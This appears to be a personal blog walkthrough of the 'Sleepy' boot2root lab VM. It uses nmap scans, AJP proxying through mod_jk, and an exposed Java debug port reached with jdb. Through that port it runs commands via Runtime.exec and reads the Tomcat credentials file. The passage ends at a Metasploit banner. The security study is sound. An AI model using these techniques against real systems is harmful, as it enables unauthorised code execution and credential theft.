/dev/random: Sleepy

Looks like I’ve got time to write up another recent VM challenge before the memory fades. This time, it’s boot2root challenge Sleepy by Sagi-.

I really like this one because it took me back to my University days of Java development. Then I hated it because it took me back to doing acrobatics with I/O readers, buffers, streams, etc. the Java way. Then when I completed it I loved it.

On with it then!

Initial scanning

Starting off with a full TCP SYN scan produce three open ports.

root@worry64:~/work/sleepy# nmap -T4 -p- 192.168.57.9

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-10-06 22:38 BST
Stats: 0:07:49 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 75.10% done; ETC: 22:49 (0:02:35 remaining)
Nmap scan report for 192.168.57.9
Host is up (0.00040s latency).
Not shown: 65532 filtered ports
PORT     STATE SERVICE
21/tcp   open  ftp
8009/tcp open  ajp13
9001/tcp open  tor-orport
MAC Address: 08:00:27:79:0F:C3 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 610.26 seconds

TCP 21 is FTP, and it allows anonymous login:

root@worry64:~/work/sleepy# ftp 192.168.57.9
Connected to 192.168.57.9.
220 ZzZZzZzz FTP
Name (192.168.57.9:root): anonymous
331 Please specify the password.
Password: me@electricworry.net
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    2 0        1002           23 Jun 19 00:03 pub
226 Directory send OK.
ftp> cd ..
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    2 0        1002           23 Jun 19 00:03 pub
226 Directory send OK.
ftp> cd pub
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 1002     1002       120456 Jun 18 21:40 sleepy.png
226 Directory send OK.
ftp> get sleepy.png
local: sleepy.png remote: sleepy.png
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for sleepy.png (120456 bytes).
226 Transfer complete.
120456 bytes received in 0.00 secs (42.3271 MB/s)
ftp> quit
221 Goodbye.

Anonymous is rightly jailed and there’s only an image to download:

sleepy

I thought that the image might hold some essential information or clues, but I wasn’t able to find any. Not sure if it’s a motif or a red herring.

root@worry64:~/work/sleepy# exiftool sleepy.png
ExifTool Version Number         : 9.74
File Name                       : sleepy.png
Directory                       : .
File Size                       : 118 kB
File Modification Date/Time     : 2015:10:06 23:20:15+01:00
File Access Date/Time           : 2015:10:06 23:20:44+01:00
File Inode Change Date/Time     : 2015:10:06 23:20:15+01:00
File Permissions                : rw-r--r--
File Type                       : PNG
MIME Type                       : image/png
Image Width                     : 438
Image Height                    : 246
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Significant Bits                : 8 8 8 8
Software                        : gnome-screenshot
Image Size                      : 438x246

Assuming FTP’s a red herring, attention turns to the other two open ports. Running a service scan on the ports might confirm what protocols they’re offering:

root@worry64:~/work/sleepy# nmap -p8009,9001,80 -T4 -n -A 192.168.57.9

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-10-07 08:01 BST
Nmap scan report for 192.168.57.9
Host is up (0.00059s latency).
PORT     STATE    SERVICE VERSION
80/tcp   filtered http
8009/tcp open     ajp13   Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
9001/tcp open     jdwp    Java Debug Wire Protocol (Reference Implementation) version 1.6 1.7.0_71
MAC Address: 08:00:27:79:0F:C3 (Cadmus Computer Systems)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10, Linux 2.6.32 - 3.13
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.59 ms 192.168.57.9

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.93 seconds

So with ajp13 confirmed as Apache Jserv, I guess we’re looking at something Tomcat. Probably my first thing to start work on.

At this stage I had never heard about Java Debug Wire Protocol, but a quick search tells me it’s a remote Java debugger.  This should be great. I still like working with Java, so if I get to play around with a debugger I’ve never seen that’s cool.

Dealing strictly with Apache Jserv first, however…

AJP

As AJP has accidentally been left open to the world, it might be possible to exploit the system, for example by injecting malicious code to the server. In order to control it, though, I need access to some Tomcat management interface to test it.

Exploiting an open AJP is pretty well documented by others so I’ll not go into to much commentary on it. I needed to set up Apache on my machine, and add the Apahce jk modules. Then configuring jk to forward requests – not to my local server, but to the victim – it should be possible to try and get management access.

root@worry64:~/work/sleepy# apt-get install libapache2-mod-jk
Reading package lists... Done
Building dependency tree
Reading state information... Done
Suggested packages:
  libapache-mod-jk-doc tomcat8
The following NEW packages will be installed:
  libapache2-mod-jk
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 154 kB of archives.
After this operation, 411 kB of additional disk space will be used.
Get:1 http://security.kali.org/kali-security/ sana/updates/main libapache2-mod-jk amd64 1:1.2.37-4+deb8u1 [154 kB]
Fetched 154 kB in 10s (14.6 kB/s)
Selecting previously unselected package libapache2-mod-jk.
(Reading database ... 335630 files and directories currently installed.)
Preparing to unpack .../libapache2-mod-jk_1%3a1.2.37-4+deb8u1_amd64.deb ...
Unpacking libapache2-mod-jk (1:1.2.37-4+deb8u1) ...
Setting up libapache2-mod-jk (1:1.2.37-4+deb8u1) ...
apache2_invoke: Enable module jk
root@worry64:~/work/sleepy# apt-get install libapache-mod-jk-doc
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
  libapache-mod-jk-doc
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 167 kB of archives.
After this operation, 950 kB of additional disk space will be used.
Get:1 http://security.kali.org/kali-security/ sana/updates/main libapache-mod-jk-doc all 1:1.2.37-4+deb8u1 [167 kB]
Fetched 167 kB in 10s (15.8 kB/s)
Selecting previously unselected package libapache-mod-jk-doc.
(Reading database ... 335641 files and directories currently installed.)
Preparing to unpack .../libapache-mod-jk-doc_1%3a1.2.37-4+deb8u1_all.deb ...
Unpacking libapache-mod-jk-doc (1:1.2.37-4+deb8u1) ...
Setting up libapache-mod-jk-doc (1:1.2.37-4+deb8u1) ...

libapache2-mod-jk provides the following files:

root@worry64:~/work/sleepy# apt-file show libapache2-mod-jk
libapache2-mod-jk: /etc/apache2/mods-available/jk.conf
libapache2-mod-jk: /etc/apache2/mods-available/jk.load
libapache2-mod-jk: /etc/libapache2-mod-jk/httpd-jk.conf
libapache2-mod-jk: /etc/libapache2-mod-jk/workers.properties
libapache2-mod-jk: /usr/lib/apache2/modules/mod_jk.so
libapache2-mod-jk: /usr/share/doc/libapache2-mod-jk/NEWS.Debian.gz
libapache2-mod-jk: /usr/share/doc/libapache2-mod-jk/README.Debian
libapache2-mod-jk: /usr/share/doc/libapache2-mod-jk/changelog.Debian.gz
libapache2-mod-jk: /usr/share/doc/libapache2-mod-jk/copyright

The default Apache website needs to forward all requests to JK, and JK needs to be configured to forward requests to the victim.

JkWorkersFile /etc/libapache2-mod-jk/workers.properties
worker.ajp13_worker.port=8009
#worker.ajp13_worker.host=localhost
worker.ajp13_worker.host=192.168.57.9
worker.ajp13_worker.type=ajp13
JkMount /* ajp13_worker

After restarting Apache, it’s possible to connect to http://localhost/ and see all of the Tomcat goodies including /manager/ and /host-manager/ on the victim. However, the passwords are not the defaults and attempting a few passwords didn’t prove successful.

Tomcat

Getting access is going to require viewing the administrative passwords – often stored in plaintext – from the server.

The Java debugger

The JDWP port appears to be controlled by the jdb command which provides a remote shell for control. It’s not a shell with the breadth of control that a terminal would provide – everything has to be done via Java execution – but hopefully with enough libraries exposed something can be conjured up.

The help is pretty good for jdb. Command classes outputs a list of all classes that are available to the running program, and classpath shows that we seem to be running Java 7…

root@worry64:~/work/sleepy# jdb -attach 192.168.57.9:9001
Set uncaught java.lang.Throwable
Set deferred uncaught java.lang.Throwable
Initializing jdb ...
> classpath
base directory: /
classpath: [/home/sleepy]
bootclasspath: [/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.71-2.5.3.1.el7_0.x86_64/jre/lib/resources.jar, /usr/lib/jvm/java-1.7.0-openjdk-1.7.0.71-2.5.3.1.el7_0.x86_64/jre/lib/rt.jar, /usr/lib/jvm/java-1.7.0-openjdk-1.7.0.71-2.5.3.1.el7_0.x86_64/jre/lib/sunrsasign.jar, /usr/lib/jvm/java-1.7.0-openjdk-1.7.0.71-2.5.3.1.el7_0.x86_64/jre/lib/jsse.jar, /usr/lib/jvm/java-1.7.0-openjdk-1.7.0.71-2.5.3.1.el7_0.x86_64/jre/lib/jce.jar, /usr/lib/jvm/java-1.7.0-openjdk-1.7.0.71-2.5.3.1.el7_0.x86_64/jre/lib/charsets.jar, /usr/lib/jvm/java-1.7.0-openjdk-1.7.0.71-2.5.3.1.el7_0.x86_64/jre/lib/rhino.jar, /usr/lib/jvm/java-1.7.0-openjdk-1.7.0.71-2.5.3.1.el7_0.x86_64/jre/lib/jfr.jar, /usr/lib/jvm/java-1.7.0-openjdk-1.7.0.71-2.5.3.1.el7_0.x86_64/jre/classes]
> classes
** classes list **
boolean[]
byte[]
char[]
double[]
float[]
int[]
java.io.BufferedInputStream
java.io.BufferedOutputStream
java.io.BufferedReader
java.io.BufferedWriter
java.io.Closeable
java.io.ExpiringCache
java.io.ExpiringCache$1
java.io.ExpiringCache$Entry
java.io.File
java.io.File$PathStatus
java.io.File$PathStatus[]
java.io.FileDescriptor
java.io.FileDescriptor$1
java.io.FileInputStream
java.io.FileOutputStream
java.io.FilePermission
java.io.FilePermission$1
java.io.FilePermissionCollection
java.io.FileReader
java.io.FileSystem
java.io.File[]
java.io.FilterInputStream
java.io.FilterOutputStream
java.io.Flushable
java.io.InputStream
java.io.InputStreamReader
java.io.ObjectStreamField
java.io.ObjectStreamField[]
java.io.OutputStream
java.io.OutputStreamWriter
java.io.PrintStream
java.io.Reader
java.io.Serializable
java.io.Serializable[]
java.io.UnixFileSystem
java.io.Writer
java.lang.AbstractStringBuilder
java.lang.Appendable
java.lang.ArithmeticException
java.lang.ArrayStoreException
java.lang.AutoCloseable
java.lang.Boolean
java.lang.Byte
java.lang.CharSequence
java.lang.CharSequence[]
java.lang.Character
java.lang.CharacterData
java.lang.CharacterDataLatin1
java.lang.Class
java.lang.Class$1
java.lang.Class$3
java.lang.Class$Atomic
java.lang.Class$ReflectionData
java.lang.ClassCastException
java.lang.ClassLoader
java.lang.ClassLoader$3
java.lang.ClassLoader$NativeLibrary
java.lang.ClassLoader$ParallelLoaders
java.lang.ClassNotFoundException
java.lang.Class[]
java.lang.Cloneable
java.lang.Comparable
java.lang.Comparable[]
java.lang.Compiler
java.lang.Compiler$1
java.lang.Double
java.lang.Enum
java.lang.Enum[]
java.lang.Error
java.lang.Error[]
java.lang.Exception
java.lang.Float
java.lang.IllegalArgumentException
java.lang.IllegalMonitorStateException
java.lang.IncompatibleClassChangeError
java.lang.Integer
java.lang.Iterable
java.lang.LinkageError
java.lang.Long
java.lang.Math
java.lang.NoSuchMethodError
java.lang.NullPointerException
java.lang.Number
java.lang.Object
java.lang.Object[]
java.lang.OutOfMemoryError
java.lang.OutOfMemoryError[]
java.lang.Readable
java.lang.ReflectiveOperationException
java.lang.Runnable
java.lang.Runnable[]
java.lang.Runtime
java.lang.RuntimeException
java.lang.RuntimePermission
java.lang.Short
java.lang.StackOverflowError
java.lang.StackTraceElement[]
java.lang.String
java.lang.String$CaseInsensitiveComparator
java.lang.StringBuffer
java.lang.StringBuilder
java.lang.StringCoding
java.lang.StringCoding$StringDecoder
java.lang.StringCoding$StringEncoder
java.lang.String[]
java.lang.System
java.lang.System$2
java.lang.SystemClassLoaderAction
java.lang.Terminator
java.lang.Terminator$1
java.lang.Thread
java.lang.Thread$UncaughtExceptionHandler
java.lang.Thread$UncaughtExceptionHandler[]
java.lang.ThreadGroup
java.lang.ThreadGroup[]
java.lang.ThreadLocal
java.lang.ThreadLocal$ThreadLocalMap
java.lang.ThreadLocal$ThreadLocalMap$Entry
java.lang.ThreadLocal$ThreadLocalMap$Entry[]
java.lang.Thread[]
java.lang.Throwable
java.lang.Throwable[]
java.lang.VirtualMachineError
java.lang.VirtualMachineError[]
java.lang.Void
java.lang.ref.FinalReference
java.lang.ref.Finalizer
java.lang.ref.Finalizer$FinalizerThread
java.lang.ref.Reference
java.lang.ref.Reference$Lock
java.lang.ref.Reference$ReferenceHandler
java.lang.ref.ReferenceQueue
java.lang.ref.ReferenceQueue$Lock
java.lang.ref.ReferenceQueue$Null
java.lang.ref.Reference[]
java.lang.ref.SoftReference
java.lang.ref.WeakReference
java.lang.ref.WeakReference[]
java.lang.reflect.AccessibleObject
java.lang.reflect.AccessibleObject[]
java.lang.reflect.AnnotatedElement
java.lang.reflect.AnnotatedElement[]
java.lang.reflect.Array
java.lang.reflect.Constructor
java.lang.reflect.Constructor[]
java.lang.reflect.Field
java.lang.reflect.Field[]
java.lang.reflect.GenericDeclaration
java.lang.reflect.GenericDeclaration[]
java.lang.reflect.Member
java.lang.reflect.Member[]
java.lang.reflect.Method
java.lang.reflect.Method[]
java.lang.reflect.Modifier
java.lang.reflect.Proxy
java.lang.reflect.Proxy$KeyFactory
java.lang.reflect.Proxy$ProxyClassFactory
java.lang.reflect.ReflectAccess
java.lang.reflect.ReflectPermission
java.lang.reflect.Type
java.lang.reflect.Type[]
java.lang.reflect.WeakCache
java.lang.reflect.WeakCache$BiFunction
java.net.Parts
java.net.URL
java.net.URL$1
java.net.URLClassLoader
java.net.URLClassLoader$1
java.net.URLClassLoader$7
java.net.URLConnection
java.net.URLStreamHandler
java.net.URLStreamHandlerFactory
java.net.URL[]
java.nio.Bits
java.nio.Bits$1
java.nio.Buffer
java.nio.ByteBuffer
java.nio.ByteOrder
java.nio.CharBuffer
java.nio.DirectByteBuffer
java.nio.DirectLongBufferU
java.nio.HeapByteBuffer
java.nio.HeapCharBuffer
java.nio.LongBuffer
java.nio.MappedByteBuffer
java.nio.charset.Charset
java.nio.charset.CharsetDecoder
java.nio.charset.CharsetEncoder
java.nio.charset.CoderResult
java.nio.charset.CoderResult$1
java.nio.charset.CoderResult$2
java.nio.charset.CoderResult$Cache
java.nio.charset.CodingErrorAction
java.nio.charset.StandardCharsets
java.nio.charset.spi.CharsetProvider
java.security.AccessControlContext
java.security.AccessController
java.security.BasicPermission
java.security.BasicPermissionCollection
java.security.CodeSource
java.security.Guard
java.security.Permission
java.security.PermissionCollection
java.security.Permissions
java.security.Principal[]
java.security.PrivilegedAction
java.security.PrivilegedActionException
java.security.PrivilegedExceptionAction
java.security.ProtectionDomain
java.security.ProtectionDomain$1
java.security.ProtectionDomain$3
java.security.ProtectionDomain$Key
java.security.SecureClassLoader
java.security.cert.Certificate[]
java.util.AbstractCollection
java.util.AbstractList
java.util.AbstractMap
java.util.AbstractSet
java.util.ArrayDeque
java.util.ArrayList
java.util.Arrays
java.util.BitSet
java.util.Collection
java.util.Collections
java.util.Collections$EmptyList
java.util.Collections$EmptyMap
java.util.Collections$EmptySet
java.util.Collections$SetFromMap
java.util.Collections$SynchronizedCollection
java.util.Collections$SynchronizedSet
java.util.Collections$UnmodifiableCollection
java.util.Collections$UnmodifiableList
java.util.Collections$UnmodifiableRandomAccessList
java.util.Comparator
java.util.Deque
java.util.Dictionary
java.util.Enumeration
java.util.HashMap
java.util.HashMap$Entry
java.util.HashMap$EntryIterator
java.util.HashMap$EntrySet
java.util.HashMap$Entry[]
java.util.HashMap$HashIterator
java.util.HashMap$Holder
java.util.HashSet
java.util.Hashtable
java.util.Hashtable$Entry
java.util.Hashtable$EntrySet
java.util.Hashtable$Entry[]
java.util.Hashtable$Enumerator
java.util.Hashtable$Holder
java.util.Iterator
java.util.LinkedHashMap
java.util.LinkedHashMap$Entry
java.util.List
java.util.Locale
java.util.Locale$Cache
java.util.Locale$LocaleKey
java.util.Map
java.util.Map$Entry
java.util.Map$Entry[]
java.util.Objects
java.util.Properties
java.util.Queue
java.util.Random
java.util.RandomAccess
java.util.Set
java.util.Stack
java.util.StringTokenizer
java.util.Vector
java.util.WeakHashMap
java.util.WeakHashMap$Entry
java.util.WeakHashMap$Entry[]
java.util.WeakHashMap$Holder
java.util.WeakHashMap$KeySet
java.util.concurrent.ConcurrentHashMap
java.util.concurrent.ConcurrentHashMap$HashEntry
java.util.concurrent.ConcurrentHashMap$HashEntry[]
java.util.concurrent.ConcurrentHashMap$Holder
java.util.concurrent.ConcurrentHashMap$Segment
java.util.concurrent.ConcurrentHashMap$Segment[]
java.util.concurrent.ConcurrentMap
java.util.concurrent.ThreadLocalRandom
java.util.concurrent.ThreadLocalRandom$1
java.util.concurrent.atomic.AtomicInteger
java.util.concurrent.atomic.AtomicLong
java.util.concurrent.atomic.AtomicReferenceFieldUpdater
java.util.concurrent.atomic.AtomicReferenceFieldUpdater$AtomicReferenceFieldUpdaterImpl
java.util.concurrent.locks.AbstractOwnableSynchronizer
java.util.concurrent.locks.AbstractQueuedSynchronizer
java.util.concurrent.locks.AbstractQueuedSynchronizer$Node
java.util.concurrent.locks.Lock
java.util.concurrent.locks.Lock[]
java.util.concurrent.locks.ReentrantLock
java.util.concurrent.locks.ReentrantLock$NonfairSync
java.util.concurrent.locks.ReentrantLock$Sync
java.util.concurrent.locks.ReentrantLock[]
java.util.jar.JarEntry
java.util.jar.JarFile
java.util.jar.JarFile$JarFileEntry
java.util.jar.JavaUtilJarAccessImpl
java.util.zip.Inflater
java.util.zip.InflaterInputStream
java.util.zip.ZStreamRef
java.util.zip.ZipCoder
java.util.zip.ZipConstants
java.util.zip.ZipEntry
java.util.zip.ZipFile
java.util.zip.ZipFile$2
java.util.zip.ZipFile$ZipFileInflaterInputStream
java.util.zip.ZipFile$ZipFileInputStream
long[]
luciddream
short[]
sun.launcher.LauncherHelper
sun.launcher.LauncherHelper[]
sun.misc.ExtensionDependency
sun.misc.FileURLMapper
sun.misc.Hashing
sun.misc.IOUtils
sun.misc.IoTrace
sun.misc.JarIndex
sun.misc.JavaIOFileDescriptorAccess
sun.misc.JavaLangAccess
sun.misc.JavaNetAccess
sun.misc.JavaNioAccess
sun.misc.JavaSecurityAccess
sun.misc.JavaSecurityProtectionDomainAccess
sun.misc.JavaUtilJarAccess
sun.misc.JavaUtilZipFileAccess
sun.misc.Launcher
sun.misc.Launcher$AppClassLoader
sun.misc.Launcher$AppClassLoader$1
sun.misc.Launcher$ExtClassLoader
sun.misc.Launcher$ExtClassLoader$1
sun.misc.Launcher$Factory
sun.misc.MetaIndex
sun.misc.NativeSignalHandler
sun.misc.OSEnvironment
sun.misc.Perf
sun.misc.Perf$GetPerfAction
sun.misc.PerfCounter
sun.misc.PerfCounter$CoreCounters
sun.misc.Resource
sun.misc.SharedSecrets
sun.misc.Signal
sun.misc.SignalHandler
sun.misc.URLClassPath
sun.misc.URLClassPath$3
sun.misc.URLClassPath$FileLoader
sun.misc.URLClassPath$FileLoader$1
sun.misc.URLClassPath$JarLoader
sun.misc.URLClassPath$JarLoader$1
sun.misc.URLClassPath$Loader
sun.misc.Unsafe
sun.misc.VM
sun.misc.VMSupport
sun.misc.Version
sun.net.util.URLUtil
sun.net.www.MessageHeader
sun.net.www.ParseUtil
sun.net.www.URLConnection
sun.net.www.protocol.file.FileURLConnection
sun.net.www.protocol.file.Handler
sun.net.www.protocol.jar.Handler
sun.nio.ch.DirectBuffer
sun.nio.cs.ArrayDecoder
sun.nio.cs.ArrayEncoder
sun.nio.cs.FastCharsetProvider
sun.nio.cs.HistoricallyNamedCharset
sun.nio.cs.ISO_8859_1
sun.nio.cs.StandardCharsets
sun.nio.cs.StandardCharsets$Aliases
sun.nio.cs.StandardCharsets$Cache
sun.nio.cs.StandardCharsets$Classes
sun.nio.cs.StreamDecoder
sun.nio.cs.StreamEncoder
sun.nio.cs.US_ASCII
sun.nio.cs.UTF_16
sun.nio.cs.UTF_16BE
sun.nio.cs.UTF_16LE
sun.nio.cs.UTF_8
sun.nio.cs.UTF_8$Decoder
sun.nio.cs.UTF_8$Encoder
sun.nio.cs.Unicode
sun.reflect.ConstructorAccessor
sun.reflect.ConstructorAccessorImpl
sun.reflect.DelegatingConstructorAccessorImpl
sun.reflect.LangReflectAccess
sun.reflect.MagicAccessorImpl
sun.reflect.NativeConstructorAccessorImpl
sun.reflect.Reflection
sun.reflect.ReflectionFactory
sun.reflect.ReflectionFactory$1
sun.reflect.ReflectionFactory$GetReflectionFactoryAction
sun.reflect.misc.ReflectUtil
sun.security.action.GetPropertyAction
sun.security.util.Debug
sun.util.PreHashedMap
sun.util.locale.BaseLocale
sun.util.locale.BaseLocale$Cache
sun.util.locale.BaseLocale$Key
sun.util.locale.LocaleObjectCache
sun.util.locale.LocaleObjectCache$CacheEntry
sun.util.locale.LocaleUtils
>

Above we’ve got a hell of a lot of Java standard library classes available, plus a class which is named without a long package name – luciddream. This is presumably the author’s work, and given the Sleepy theme, that’s a fair guess.

It’s unfortunately not possible to just execute arbitrary Java from the prompt:

> print (new java.lang.String("TEST"));
com.sun.tools.example.debug.expr.ParseException: Unable to create java.lang.String instance
 (new java.lang.String("TEST")); = null
>

Instead control of execution needs to be seized by the debugger. The main class has only one function other than main and the constructor:

> methods luciddream
** methods list **
luciddream <init>()
luciddream main(java.lang.String[])
luciddream snore()
java.lang.Object <init>()
java.lang.Object registerNatives()
java.lang.Object getClass()
java.lang.Object hashCode()
java.lang.Object equals(java.lang.Object)
java.lang.Object clone()
java.lang.Object toString()
java.lang.Object notify()
java.lang.Object notifyAll()
java.lang.Object wait(long)
java.lang.Object wait(long, int)
java.lang.Object wait()
java.lang.Object finalize()
java.lang.Object <clinit>()
>

Setting a breakpoint on snore() and waiting eventually gives us control and at that point we can execute any arbitrary Java code we want, using the available classes:

> stop in luciddream.snore
Set breakpoint luciddream.snore
> resume
All threads resumed.
>
Breakpoint hit: "thread=main", luciddream.snore(), line=19 bci=0

main[1] print (new java.lang.String("TEST"));
 (new java.lang.String("TEST")); = "TEST"
main[1]

Great! So, with all of the java.io classes we can potentially exfiltrate file data from the victim, or possibly even inject data. Also with java.lang.Runtime we’ve got access to the current thread and can execute arbitrary commands.

The thing is, merely executing a command will merely return the object representing the new process, not the response to the command. For example, running whoami:

main[1] print new java.lang.Runtime().exec("whoami")
&nbsp;new java.lang.Runtime().exec("whoami") = "java.lang.UNIXProcess@22d809e3"
main[1]

To actually get output from the command, some I/O acrobatics is required. Working with what we’ve got (and I probably am not doing it in the most efficient manner), we’ve got the following return values and methods to link up.

  • exec() returns an object of type Process, let’s call it p.
  • p.getInputStream() returns an object of type InputStream, i
  • Ultimately we’re looking to get a String, s, which can be output to the console
  • Out of the many readers available, BufferedReader, r, offers method readLine() which returns a String, s
  • A BufferedReader, r, can be instantiated with an InputStreamReader, ir
  • An InputSteamReader, ir, can be instantiated with an InputStream, i, which we got earlier

Got that? Good.

  • exec() gives us Process p
  • p.getInputStream() gives us InputStream i
  • new InputStreamReader(i) gives us InputStreamReader ir
  • new BufferedReader(ir) gives us BufferedReader r
  • r.readLine() gives us String s

Putting this into practice, we can attempt to run whoami again:

main[1] print ( new java.io.BufferedReader( new java.io.InputStreamReader( (new java.lang.Runtime().exec("whoami")).getInputStream() ) ) ).readLine()
 ( new java.io.BufferedReader( new java.io.InputStreamReader( (new java.lang.Runtime().exec("whoami")).getInputStream() ) ) ).readLine() = "sleepy"
main[1]

Unfortunately things get a bit more complicated when the result of the command is multiple lines. We only get one call to readLine() on the BufferedReader, so only the first line of output can be retrieved. e.g. ls -la produces a weak result:

main[1] print ( new java.io.BufferedReader( new java.io.InputStreamReader( (new java.lang.Runtime().exec("ls -la")).getInputStream() ) ) ).readLine()
 ( new java.io.BufferedReader( new java.io.InputStreamReader( (new java.lang.Runtime().exec("ls -la")).getInputStream() ) ) ).readLine() = "total 40"
main[1]

To get full output, line feeds need to be replaced with another string – e.g. by using awk ORS=’something’ – and in order to build more complicated commands with pipes and so on, we need a command processor, e.g. bash.

Voila:

main[1] print ( new java.io.BufferedReader( new java.io.InputStreamReader( (new java.lang.Runtime().exec( new java.lang.String("bash£-c£ls -l | awk '{print}' ORS='%%%' ").split("£") )).getInputStream() ) ) ).readLine()
 ( new java.io.BufferedReader( new java.io.InputStreamReader( (new java.lang.Runtime().exec( new java.lang.String("bash£-c£ls -l | awk '{print}' ORS='%%%' ").split("£") )).getInputStream() ) ) ).readLine() = "total 32%%%lrwxrwxrwx.  1 root root    7 Jan 15  2015 bin -> usr/bin%%%dr-xr-xr-x.  4 root root 4096 Jan 18  2015 boot%%%drwxr-xr-x. 19 root root 3020 Nov 11 06:45 dev%%%drwxr-xr-x. 82 root root 8192 Nov 11 06:44 etc%%%drwxr-xr-x.  2 root root    6 Jan 16  2015 ftp%%%drwxr-xr-x.  3 root root   19 Jun 19 04:50 home%%%lrwxrwxrwx.  1 root root    7 Jan 15  2015 lib -> usr/lib%%%lrwxrwxrwx.  1 root root    9 Jan 15  2015 lib64 -> usr/lib64%%%drwxr-xr-x.  2 root root    6 Jun 10  2014 media%%%drwxr-xr-x.  2 root root    6 Jun 10  2014 mnt%%%drwxr-xr-x.  2 root root    6 Jun 10  2014 opt%%%dr-xr-xr-x. 95 root root    0 Nov 11 06:44 proc%%%dr-xr-x---.  3 root root 4096 Jun 19 00:52 root%%%drwxr-xr-x. 23 root root  720 Nov 11 06:45 run%%%lrwxrwxrwx.  1 root root    8 Jan 15  2015 sbin -> usr/sbin%%%drwxr-xr-x.  2 root root    6 Jun 10  2014 srv%%%dr-xr-xr-x. 13 root root    0 Nov 11 06:44 sys%%%drwxrwxrwt.  9 root root 4096 Nov 11 08:05 tmp%%%drwxr-xr-x. 13 root root 4096 Jan 15  2015 usr%%%drwxr-xr-x. 21 root root 4096 Nov 11 06:44 var%%%"

Using this methos I did a search for files with tomcat in the name and got the following (edited) list:

main[1] print ( new java.io.BufferedReader( new java.io.InputStreamReader( (new java.lang.Runtime().exec( new java.lang.String("bash£-c£find / -iname '*tomcat*' | awk '{print}' ORS='%%%' ").split("£") )).getInputStream() ) ) ).readLine()
 ( new java.io.BufferedReader( new java.io.InputStreamReader( (new java.lang.Runtime().exec( new java.lang.String("bash£-c£find / -iname '*tomcat*' | awk '{print}' ORS='%%%' ").split("£") )).getInputStream() ) ) ).readLine() = "
/run/tomcat.pid
/sys/fs/cgroup/systemd/system.slice/tomcat.service
/etc/sysconfig/tomcat
/etc/systemd/system/multi-user.target.wants/tomcat.service
/etc/logrotate.d/tomcat
/etc/tomcat
/etc/tomcat/tomcat-users.xml
/etc/tomcat/tomcat.conf
<snip />
"
main[1]

Dumping this file gives us the passwords we require (again, edited for reading):

main[1] print ( new java.io.BufferedReader( new java.io.InputStreamReader( (new java.lang.Runtime().exec( new java.lang.String("bash£-c£cat /etc/tomcat/tomcat-users.xml | awk '{print}' ORS='
' ").split("£") )).getInputStream() ) ) ).readLine()
 ( new java.io.BufferedReader( new java.io.InputStreamReader( (new java.lang.Runtime().exec( new java.lang.String("bash£-c£cat /etc/tomcat/tomcat-users.xml | awk '{print}' ORS='
' ").split("£") )).getInputStream() ) ) ).readLine() = "
<?xml version='1.0' encoding='utf-8'?>
<!--
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<tomcat-users>
<!--
  NOTE:  By default, no user is included in the "manager-gui" role required
  to operate the "/manager/html" web application.  If you wish to use this app,
  you must define such a user - the username and password are arbitrary.
-->
<!--
  NOTE:  The sample user and role entries below are wrapped in a comment
  and thus are ignored when reading this file. Do not forget to remove
  <!.. ..> that surrounds them.
-->
  <role rolename="tomcat"/>
  <role rolename="role1"/>
 <!-- <user username="tomcat" password="tomcat" roles="tomcat,manager-gui,admin,manager-jmx,admin-gui,admin-script,manager,manager-script,manager-status"/> -->
  <user username="both" password="tomcat" roles="tomcat,role1"/>
  <user username="role1" password="tomcat" roles="role1"/>

<role rolename="admin"/>
 <role rolename="admin-gui"/>
 <role rolename="admin-script"/>
 <role rolename="manager"/>
<role rolename="manager-gui"/>
 <role rolename="manager-script"/>
<role rolename="manager-jmx"/>
 <role rolename="manager-status"/>
<!-- <user name="admin" password="adminadmin" roles="admin,manager,admin-gui,admin-script,manager-gui,manager-script,manager-jmx,manager-status" /> -->


<user username="sl33py" password="Gu3SSmYStR0NgPa$sw0rD!" roles="tomcat,manager-gui,admin-gui,admin,manager-jmx,admin-script,manager,manager-script,manager-status"/>

</tomcat-users>

"
main[1]

Credentials

TomcatManager

Exploiting Tomcat

Exploiting isn’t the right word here, as we own Tomcat now. We can easily get control as the Tomcat user with Metasploit and the credentials. (Remember that the rhost/target is our own machine as we’re attacking the victim through our Apache server:

root@worry64:~/work/sleepy# msfconsole

IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|`.""'.
  II     6.     .P  :  .' / |  `.  :
  II     'T;. .;P'  '.'  /  |    `.'
  II      'T; ;P'    `. /   |    .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt


